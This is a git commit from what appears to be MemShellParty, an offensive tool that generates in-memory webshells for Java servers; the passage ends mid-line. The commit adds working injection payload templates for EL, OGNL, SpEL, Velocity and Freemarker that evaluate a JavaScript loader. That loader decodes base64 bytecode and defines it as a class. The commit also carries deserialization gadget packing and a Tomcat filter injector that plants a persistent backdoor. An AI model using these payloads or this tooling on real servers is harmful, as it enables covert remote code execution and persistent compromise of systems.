mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
feat: support ssti and expression packer
This commit is contained in:
@@ -11,6 +11,7 @@ allprojects {
|
|||||||
idea {
|
idea {
|
||||||
module {
|
module {
|
||||||
excludeDirs -= file('build')
|
excludeDirs -= file('build')
|
||||||
|
excludeDirs += file('src')
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,13 +1,10 @@
|
|||||||
package com.reajason.javaweb;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
import com.reajason.javaweb.config.*;
|
import com.reajason.javaweb.config.*;
|
||||||
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
import com.reajason.javaweb.memsell.AbstractShell;
|
||||||
import com.reajason.javaweb.memsell.jboss.JbossShell;
|
|
||||||
import com.reajason.javaweb.memsell.jetty.JettyShell;
|
|
||||||
import com.reajason.javaweb.memsell.packer.Packer;
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
|
||||||
import com.reajason.javaweb.memsell.undertow.UndertowShell;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -20,11 +17,6 @@ import java.nio.file.StandardOpenOption;
|
|||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class GeneratorMain {
|
public class GeneratorMain {
|
||||||
static TomcatShell tomcatShell = new TomcatShell();
|
|
||||||
static JettyShell jettyShell = new JettyShell();
|
|
||||||
static JbossShell jbossAsShell = new JbossShell();
|
|
||||||
static UndertowShell undertowShell = new UndertowShell();
|
|
||||||
static GlassFishShell glassFishShell = new GlassFishShell();
|
|
||||||
|
|
||||||
public static void main(String[] args) throws IOException {
|
public static void main(String[] args) throws IOException {
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
@@ -48,23 +40,12 @@ public class GeneratorMain {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
switch (shellConfig.getServer()) {
|
Server server = shellConfig.getServer();
|
||||||
case TOMCAT:
|
AbstractShell shell = server.getShell();
|
||||||
return tomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
|
if (shell == null) {
|
||||||
case JETTY:
|
throw new IllegalArgumentException("Unsupported server");
|
||||||
return jettyShell.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
case JBOSS:
|
|
||||||
return jbossAsShell.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
case UNDERTOW:
|
|
||||||
return undertowShell.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
case GLASSFISH:
|
|
||||||
return glassFishShell.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
case RESIN:
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
throw new IllegalArgumentException("Unsupported server");
|
|
||||||
}
|
}
|
||||||
return null;
|
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
|
|||||||
@@ -1,70 +1,87 @@
|
|||||||
package com.reajason.javaweb.config;
|
package com.reajason.javaweb.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memsell.AbstractShell;
|
||||||
|
import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
|
||||||
|
import com.reajason.javaweb.memsell.jboss.JbossShell;
|
||||||
|
import com.reajason.javaweb.memsell.jetty.JettyShell;
|
||||||
|
import com.reajason.javaweb.memsell.resin.ResinShell;
|
||||||
|
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||||
|
import com.reajason.javaweb.memsell.undertow.UndertowShell;
|
||||||
|
import lombok.Getter;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/22
|
* @since 2024/11/22
|
||||||
*/
|
*/
|
||||||
|
@Getter
|
||||||
public enum Server {
|
public enum Server {
|
||||||
/**
|
/**
|
||||||
* Tomcat 中间件
|
* Tomcat 中间件
|
||||||
*/
|
*/
|
||||||
TOMCAT,
|
Tomcat(new TomcatShell()),
|
||||||
/**
|
/**
|
||||||
* Jetty 中间件
|
* Jetty 中间件
|
||||||
*/
|
*/
|
||||||
JETTY,
|
Jetty(new JettyShell()),
|
||||||
/**
|
/**
|
||||||
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||||
*/
|
*/
|
||||||
JBOSS,
|
JBoss(new JbossShell()),
|
||||||
/**
|
/**
|
||||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
||||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||||
*/
|
*/
|
||||||
UNDERTOW,
|
Undertow(new UndertowShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* SpringMVC 框架
|
* SpringMVC 框架
|
||||||
*/
|
*/
|
||||||
SPRING_MVC,
|
SpringMVC(null),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Spring Webflux 框架
|
* Spring Webflux 框架
|
||||||
*/
|
*/
|
||||||
SPRING_WEBFLUX,
|
SpringWebflux(null),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* WebSphere 中间件
|
* WebSphere 中间件
|
||||||
*/
|
*/
|
||||||
WEBSPHERE,
|
WebSphere(null),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* WebLogic 中间件
|
* WebLogic 中间件
|
||||||
*/
|
*/
|
||||||
WEBLOGIC,
|
WebLogic(null),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Resin 中间件
|
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
|
||||||
*/
|
*/
|
||||||
RESIN,
|
Resin(new ResinShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Glassfish 中间件
|
* GlassFish 中间件
|
||||||
*/
|
*/
|
||||||
GLASSFISH,
|
GlassFish(new GlassFishShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 宝兰德中间件
|
* 宝兰德中间件
|
||||||
*/
|
*/
|
||||||
BES,
|
Bes(null),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 东方通中间件
|
* 东方通中间件
|
||||||
*/
|
*/
|
||||||
TONGWEB,
|
Tongweb(null),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 金蝶天燕中间件
|
* 金蝶天燕中间件
|
||||||
*/
|
*/
|
||||||
APUSIC
|
Apusic(null),
|
||||||
|
;
|
||||||
|
|
||||||
|
private final AbstractShell shell;
|
||||||
|
|
||||||
|
Server(AbstractShell shell) {
|
||||||
|
this.shell = shell;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -53,6 +53,9 @@ public abstract class AbstractShell {
|
|||||||
|
|
||||||
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||||
|
if (shellInjectorPair == null) {
|
||||||
|
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
||||||
|
}
|
||||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||||
Class<?> injectorClass = shellInjectorPair.getRight();
|
Class<?> injectorClass = shellInjectorPair.getRight();
|
||||||
|
|
||||||
|
|||||||
+15
-14
@@ -1,31 +1,32 @@
|
|||||||
package com.reajason.javaweb.memsell.packer;
|
package com.reajason.javaweb.memsell.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.config.GenerateResult;
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
import com.reajason.javaweb.deserialize.CommonsBeanutils19;
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||||
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.util.Map;
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/10
|
* @since 2024/12/10
|
||||||
*/
|
*/
|
||||||
public class DeserializePacker implements Packer {
|
public class DeserializePacker implements Packer {
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] serialize(Object obj) {
|
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
|
||||||
oos.writeObject(obj);
|
|
||||||
oos.flush();
|
|
||||||
oos.close();
|
|
||||||
return baos.toByteArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public byte[] pack(GenerateResult generateResult) {
|
||||||
Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
return serialize(payload);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||||
|
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
|
||||||
|
String payloadType = (String) config.get("payloadType");
|
||||||
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
|
deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType));
|
||||||
|
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.memsell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class ELPacker implements Packer {
|
||||||
|
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||||
|
String template = "";
|
||||||
|
|
||||||
|
public ELPacker() {
|
||||||
|
try {
|
||||||
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] pack(GenerateResult generateResult) {
|
||||||
|
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||||
|
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.memsell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class FreemarkerPacker implements Packer {
|
||||||
|
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||||
|
String template = "";
|
||||||
|
|
||||||
|
public FreemarkerPacker() {
|
||||||
|
try {
|
||||||
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] pack(GenerateResult generateResult) {
|
||||||
|
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||||
|
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -13,12 +13,22 @@ import java.util.Objects;
|
|||||||
*/
|
*/
|
||||||
public class JspPacker implements Packer {
|
public class JspPacker implements Packer {
|
||||||
|
|
||||||
|
String jspTemplate = null;
|
||||||
|
|
||||||
|
public JspPacker() {
|
||||||
|
try {
|
||||||
|
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public byte[] pack(GenerateResult generateResult) {
|
||||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
String injectorClassName = generateResult.getInjectorClassName();
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
|
||||||
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
|
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.memsell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
public class OgnlPacker implements Packer {
|
||||||
|
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||||
|
String template = "";
|
||||||
|
|
||||||
|
public OgnlPacker() {
|
||||||
|
try {
|
||||||
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] pack(GenerateResult generateResult) {
|
||||||
|
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||||
|
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -26,7 +26,7 @@ public interface Packer {
|
|||||||
* @param config 配置
|
* @param config 配置
|
||||||
* @return 字节数组
|
* @return 字节数组
|
||||||
*/
|
*/
|
||||||
default byte[] pack(GenerateResult generateResult, Map<String, String> config) {
|
default byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
|
||||||
throw new UnsupportedOperationException();
|
throw new UnsupportedOperationException();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -47,6 +47,19 @@ public interface Packer {
|
|||||||
* 反序列化打包器
|
* 反序列化打包器
|
||||||
*/
|
*/
|
||||||
Deserialize(new DeserializePacker()),
|
Deserialize(new DeserializePacker()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* EL
|
||||||
|
*/
|
||||||
|
EL(new ELPacker()),
|
||||||
|
|
||||||
|
Ognl(new OgnlPacker()),
|
||||||
|
|
||||||
|
SpEL(new SpELPacker()),
|
||||||
|
|
||||||
|
Velocity(new VelocityPacker()),
|
||||||
|
|
||||||
|
Freemarker(new FreemarkerPacker()),
|
||||||
;
|
;
|
||||||
|
|
||||||
private final Packer packer;
|
private final Packer packer;
|
||||||
|
|||||||
+17
-2
@@ -4,6 +4,7 @@ import com.reajason.javaweb.config.GenerateResult;
|
|||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
import java.nio.charset.Charset;
|
import java.nio.charset.Charset;
|
||||||
import java.util.Objects;
|
import java.util.Objects;
|
||||||
|
|
||||||
@@ -12,12 +13,26 @@ import java.util.Objects;
|
|||||||
* @since 2024/12/3
|
* @since 2024/12/3
|
||||||
*/
|
*/
|
||||||
public class ScriptEnginePacker implements Packer {
|
public class ScriptEnginePacker implements Packer {
|
||||||
|
String jsTemplate = null;
|
||||||
|
|
||||||
|
public ScriptEnginePacker() {
|
||||||
|
try {
|
||||||
|
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] pack(GenerateResult generateResult) {
|
public byte[] pack(GenerateResult generateResult) {
|
||||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
String injectorClassName = generateResult.getInjectorClassName();
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
String jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
|
return jsTemplate.replace("{{className}}", injectorClassName)
|
||||||
return jsTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
|
.replace("{{base64Str}}", injectorBytesBase64Str)
|
||||||
|
.replace("\n", "")
|
||||||
|
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||||
|
.replaceAll("[ \t]{2,}", " ")
|
||||||
|
.getBytes();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.memsell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class SpELPacker implements Packer {
|
||||||
|
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||||
|
String template = "";
|
||||||
|
|
||||||
|
public SpELPacker() {
|
||||||
|
try {
|
||||||
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] pack(GenerateResult generateResult) {
|
||||||
|
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||||
|
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.memsell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class VelocityPacker implements Packer {
|
||||||
|
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||||
|
String template = "";
|
||||||
|
|
||||||
|
public VelocityPacker() {
|
||||||
|
try {
|
||||||
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] pack(GenerateResult generateResult) {
|
||||||
|
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||||
|
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
+5
-2
@@ -32,7 +32,9 @@ public class TomcatFilterInjector {
|
|||||||
Object filter = getFilter(context);
|
Object filter = getFilter(context);
|
||||||
addFilter(context, filter);
|
addFilter(context, filter);
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception e) {
|
||||||
|
System.out.println("filter inject get context error");
|
||||||
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -213,6 +215,7 @@ public class TomcatFilterInjector {
|
|||||||
// 防止重复注入
|
// 防止重复注入
|
||||||
try {
|
try {
|
||||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
|
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
|
||||||
|
System.out.println("filter alread injected");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
@@ -254,7 +257,7 @@ public class TomcatFilterInjector {
|
|||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
}
|
}
|
||||||
|
System.out.println("filter inject success");
|
||||||
constructors[0].setAccessible(true);
|
constructors[0].setAccessible(true);
|
||||||
try {
|
try {
|
||||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||||
|
|||||||
@@ -0,0 +1 @@
|
|||||||
|
"".getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval('{{script}}')
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')
|
||||||
@@ -4,7 +4,7 @@ var base64Str = "{{base64Str}}";
|
|||||||
try {
|
try {
|
||||||
classLoader.loadClass(className).newInstance();
|
classLoader.loadClass(className).newInstance();
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
var clsString = classLoader.loadClass('java.lang.String');
|
var clsString = classLoader.loadClass("java.lang.String");
|
||||||
var bytecode;
|
var bytecode;
|
||||||
try {
|
try {
|
||||||
var clsBase64 = classLoader.loadClass("java.util.Base64");
|
var clsBase64 = classLoader.loadClass("java.util.Base64");
|
||||||
@@ -12,14 +12,19 @@ try {
|
|||||||
var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz);
|
var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz);
|
||||||
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
|
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||||
} catch (ee) {
|
} catch (ee) {
|
||||||
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
try {
|
||||||
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
|
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||||
|
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
|
||||||
|
} catch (eee) {
|
||||||
|
var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
|
||||||
|
bytecode = clazz1.newInstance().decodeBuffer(base64Str);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
|
var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
|
||||||
var clsByteArray = Java.type('byte[]').class;
|
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
||||||
var clsInt = java.lang.Integer.TYPE;
|
var clsInt = java.lang.Integer.TYPE;
|
||||||
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
|
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
||||||
clazz.newInstance();
|
clazz.newInstance();
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.memsell.packer;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.GenerateResult;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
class FreemarkerPackerTest {
|
||||||
|
FreemarkerPacker packer = new FreemarkerPacker();
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void test() {
|
||||||
|
GenerateResult generateResult = GenerateResult.builder()
|
||||||
|
.injectorClassName("hehe")
|
||||||
|
.injectorBytesBase64Str("hehe").build();
|
||||||
|
String content = new String(packer.pack(generateResult));
|
||||||
|
System.out.println(content);
|
||||||
|
assertTrue(content.contains("var className = \"hehe\";"));
|
||||||
|
assertTrue(content.contains("var base64Str = \"hehe\";"));
|
||||||
|
}
|
||||||
|
}
|
||||||
+17
-12
@@ -50,18 +50,23 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) {
|
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) {
|
||||||
if (Packer.INSTANCE.JSP.equals(packer)) {
|
log.info(new String(content));
|
||||||
String uploadEntry = url + "/upload";
|
switch (packer) {
|
||||||
String filename = shellType + shellTool + ".jsp";
|
case JSP -> {
|
||||||
String shellUrl = url + "/" + filename;
|
String uploadEntry = url + "/upload";
|
||||||
VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content));
|
String filename = shellType + shellTool + ".jsp";
|
||||||
VulTool.urlIsOk(shellUrl);
|
String shellUrl = url + "/" + filename;
|
||||||
} else if (Packer.INSTANCE.ScriptEngine.equals(packer)) {
|
VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content));
|
||||||
String uploadEntry = url + "/js";
|
VulTool.urlIsOk(shellUrl);
|
||||||
VulTool.postData(uploadEntry, new String(content));
|
}
|
||||||
} else if (Packer.INSTANCE.Deserialize.equals(packer)) {
|
case ScriptEngine -> VulTool.postData(url + "/js", new String(content));
|
||||||
String uploadEntry = url + "/java_deserialize";
|
case EL -> VulTool.postData(url + "/el", new String(content));
|
||||||
VulTool.postData(uploadEntry, Base64.getEncoder().encodeToString(content));
|
case SpEL -> VulTool.postData(url + "/spel", new String(content));
|
||||||
|
case Ognl -> VulTool.postData(url + "/ognl", new String(content));
|
||||||
|
case Freemarker -> VulTool.postData(url + "/freemarker", new String(content));
|
||||||
|
case Velocity -> VulTool.postData(url + "/velocity", new String(content));
|
||||||
|
case Deserialize ->
|
||||||
|
